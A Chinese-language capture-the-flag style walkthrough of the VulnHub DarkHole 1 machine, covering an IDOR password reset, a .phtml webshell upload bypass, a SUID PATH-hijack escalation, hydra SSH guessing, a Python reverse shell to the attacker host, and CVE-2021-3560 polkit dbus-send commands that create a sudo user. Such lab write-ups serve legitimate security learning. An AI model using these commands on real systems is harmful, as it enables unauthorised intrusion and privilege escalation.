这篇文章由“潇湘信安技术交流群”@嘞萌师傅投稿,@3h整理发布,感谢分享!
靶机信息
下载地址:https://www.vulnhub.com/entry/darkhole-1,724/
发布日期:2021年7月18日
作者:Jehad Alqurashi
描述:It's a box for beginners, but not easy, Good Luck. Hint: Don't waste your time For Brute-Force
信息收集
nmap -sn 192.168.217.1/24
扫描端口
目标靶机开启了22端口,运行版本号为OpenSSH 8.2p1的SSH服务;开启了80端口,http服务,其中间件为Apache/2.4.41。
Liunx内核在4.15-5.6之间,发行版本为Ubuntu。
nmap -sC -sV -O -p- 192.168.217.167
因为只开放了两个端口,所以首先从web端入手。
Web渗透测试
根据测试靶机网站并没有robots.txt,因此只能通过访问主站来进行测试。
通过主页的源代码可以看出,这个主页只有一个外链就是登陆功能。
在登陆界面,尝试进行简单的sqlmap测试发现似乎没有注入点,这里就暂且不继续对登陆也进行SQL注入测试了。
python sqlmap.py -r C:\Users\xlem0\Desktop\request.txt -p username,password --dbs --tamper=space2comment
观察到有注册用户的选项,尝试进行注册用户,看看登陆后有没有类似于越权之类的漏洞。
这里发现当用户名填写admin的时候注册页面显示用户名或email重复,因为email是我自己随便设置的基本不可能会出现重复的问题,也就是说唯一的可能就是系统里存在admin用户。
而admin通常是管理员用户,这样我们的目标就比较明确了,看看能否通过普通用户来获取到admin管理员用户权限,我们先随便注册一个用户登录网站。
登录以后可以看到,一共就两个功能,分别是用户信息和更新密码功能。我们首先来看一下用户信息这个功能是否存在sql注入或者越权能否获取到其他用户的信息。我们抓个包来看一下。
通过单纯修改id发现并不能获取到其他用户的界面。利用sqlmap也没有跑出结果。我们再来尝试看看能否修改其他用户的信息。
通过测试,虽然我们提交的时候将username修改为admin,而且返回包也显示更新成功,但是实际页面的用户信息里的用户名还是test所以我们推断,这里的回显其实并不能正确反应信息是否真正得到了修改。
下面我们来测试一下修改密码这个功能,因为这里他没有要求输入旧密码,根据以往的经验一般这里存在漏洞的几率是比较大的,我们利用起来也很方便。
修改密码提交的时候会将id也一并提交,所以我们将这里的id设置为1,之所以设置为1是因为新建的用户id为4,并且再次新建用户用户的id依次增长所以我们可以判定最前面的应该就是admin用户了。
这里修改完id提交之后显示密码更新成功的提示,我们来尝试登陆一下看看是不是改掉了admin的密码。
登陆成功,也就是说这里确实存在着越权漏洞,可以利用普通用户来修改admin用户的密码。登陆到admin账户之后发现页面多了一个文件上传的功能,随便上传了一个txt文件发现上传成功了没有拦截,那我们来试试上传一个一句话木马看看能否成功得到shell。
一句话木马并没有上传成功,可见还是有拦截的,根据之前上传成功了txt文档这里判断应该只是简单的文件后缀名拦截,我们来尝试绕过。
在某些特定的环境中,某些特殊的后缀名仍然会被当做php文件解析。例如:
Php|php2|php3|php4|php5|php6|php7|pht|phtm|phtml
这里我们使用了大小写绕过,成功的上传了一句话木马,下面我们访问一下看看能不能顺利的链接。
显示了源代码内容,因此并不能正确解析,也就是说大小写虽然成功的绕过了但是并不能被靶机解析,我们再来尝试一下其他的绕过。
发现phtml可以正确的解析,所以当我们发现绕过之后的文件不能正确解析的时候要多尝试一下其他的后缀,这样才能确保万无一失。
我们来利用这个一句话木马来反弹一个shell,因为直接利用蚁剑的虚拟终端很不方便,这个虚拟终端不好用,所以这里利用蚁剑写一个shell脚本进行连接。
为了不影响之后的操作我们来补全一下shell,让他成为一个交互式的shell。
## 本地终端查看当前终端环境变量
(kali㉿kali)-[~/Desktop] $ echo $TERM
xterm-256color
## 目标shell
[email protected]:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
## 目标shell 配置环境变量
[email protected]:~$ export TERM=xterm-256color
[email protected]:~$ export SHELL=/bin/bash
## 本地终端查看终端行和列
(kali㉿kali)-[~/Desktop] $ stty size
24 103
## 目标shell中
## ctrl+z将任务存入后台返回本地终端
[email protected]:~$ ^Z
[1]+ Stopped nc -lvp 9091
## 本地终端执行以下命令将终端设置为回显输入字符,以便它被受害者终端会话捕获。按照命令fg将之前存入后台的任务恢复到前台。
(kali㉿kali)-[~/Desktop] $ stty raw -echo;fg
## 之后,您的光标可能位于终端中间的某个位置,键入reset以重置受害者终端会话。
## 目标shell中您需要指定带有行和列的“新”终端以使其正确显示。
[email protected]:~$ stty rows 24 columns 103
完成
主机信息收集
获取到交互式shell以后我们需要对当前操作系统进行一下信息收集,看看有无可以提权的地方。
uname -a
cat /etc/os-release
apt list --installed | grep policykit-1
这里可以看到操作系统版本是Ubuntu 20.04.2 LTS,这里应该存在CVE-2021-3560提权漏洞。
sudo -l
cat /etc/passwd | grep -v /usr/sbin/nologin | grep -v /bin/false
可以看到可以登录bash的一共有三个用户分别是root,darkhole,john
find / -type f -xdev -perm -o=w -exec ls -al {} \; 2>/dev/null
找查其他用户有写权限的文件,发现都是网页文件并没有可以利用的文件。
cat /etc/crontab
查看crontab计划任务,并没有发现什么有用的计划任务。
find / -type f -xdev -perm /6000 -exec ls -al {} \; 2>/dev/null
找查带有suid或者sgid的文件,发现/home/john/toto 这个文件比较可以,而且这个文件其他用户都可以执行。
我们可以来分析一下这个文件的功能,通过scp将toto复制到本地简单逆向一下。
scp /home/john/toto [email protected]168.217.128:/home/kali/
经过逆向可以看到程序的内容很简单,首先配置uid,gid为0x3E9,然后执行id命令。0x3E9转换成十进制就是1001,也就是说toto会利用uid为1001的用户来执行id命令。
因此这里我们就可以利用toto来将www-data用户提权到john用户(根据/etc/passwd可以回到1001是john用户的uid)。
信息收集大概就到此为止,下面我们来开始进行提权。
提权
toto文件提权
在/tmp目录下创建一个伪造的id文件,并将shell命令写入,确保执行的时候会反弹shell
echo "/bin/bash -ip" > id
将id文件加入执行权限
chmod +x id
将/tmp目录加入到环境变量的开头,这样当执行id命令的时候才会首先选择/tmp目录下的id命令文件
export PATH=/tmp:$PATH
执行toto
/home/john/toto
通过查看家目录下的file.py,user.txt,password三个文件,首先拿到了user下的flag,然后得到了一个password,并不知道是谁的。
因为之前信息收集的时候看到一共有三个用户可以登录shell,所以用这三个用户名作为一个字典,用hrydra跑一下。
hydra -L Desktop/dict/username.txt -p root123 ssh://192.168.217.167
根据hrydra的结果我们可以知道是darkhole,john这两个用户的密码,下面通过这两个用户在进行一次之前的信息收集。
darkhole
import os,pty,socket;s=socket.socket();s.connect(("192.168.217.128",9002));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")
我自己搭建了一个Ubuntu 20.04.02的环境来进行了验证,虽然这个靶机用不到,但是我还是决定将我的验证过程写下来。
以下为我自己搭建的Ubuntu 20.04.2环境演示。
首先,攻击者向accounts-daemon发送一个dbus消息,请求创建一个具有sudo权限的新帐户,但是在polkit处理请求的过程中杀死了这个帐户。
我们需要确定命令需要运行多长时间,运行下面的命令:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:superuser string:"Pentester Account" int32:1
dbus-send命令用于将消息发送到一个D-bus消息总线
--system
发送到系统消息总线。
--dest=NAME
指定接收消息的连接名称。
--type=TYPE
指定method_call或信号
--print-reply
阻止对发送的消息的回复,并以人类可读的形式打印收到的任何回复。
--session
发送到会话消息总线。(这是默认设置。)
可以看到运行的时间为0m0,022s,因为要主动来中断这个命令,所以我们可利用的时间也就小于0.022秒,为了确保命令可以执行,我们可以设置的时间小一点
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:superuser string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
有时可能需要多运行几次才能创建用户,当命令成功运行时,我们可以通过/etc/passwd看到我们已经成功创建了superuser用户,并且通过id superuser可以看到这是一个sudo组的成员。
既然创建成功了用户,我们下一步就可以利用openssl来创建这个用户的用户名密码。
linux加密的密码具有固定格式:
$id$salt$encrypted
openssl passwd -6 -salt aaa 1234567
passwd
Generation of hashed passwords.
-6
Use the SHA256 / SHA512 based algorithms defined by Ulrich Drepper.
-salt string
Use the specified salt. When reading a password from the terminal, this implies -noverify.
生成一个基于sha512密码算法,并且盐为aaa的密码为1234567的密文
现在我们必须再次执行dbus命令,但这次我们将使用SetPassword方法,另外,你可能需要多运行几次,直到成功。
另外,给出正确的用户标识符(UID),在这个例子中是“1003”,再加上openssl命令的密码散列值,创建成功后就可以利用新生成的密码登陆这个用户了。
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$6$aaa$rzNpVK12/RIxUFx.HixBbeRuIJYfw78hhQ8ocZfh5S2dIwa1r7dGW52qww4wcngdOzj3A5r9ni9a8C.mruV2M0' string:'Ask the pentester' & sleep 0.005s; kill $!
因为是sudo组的,所以可以直接通过sudo -s直接进行权限的提升。
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读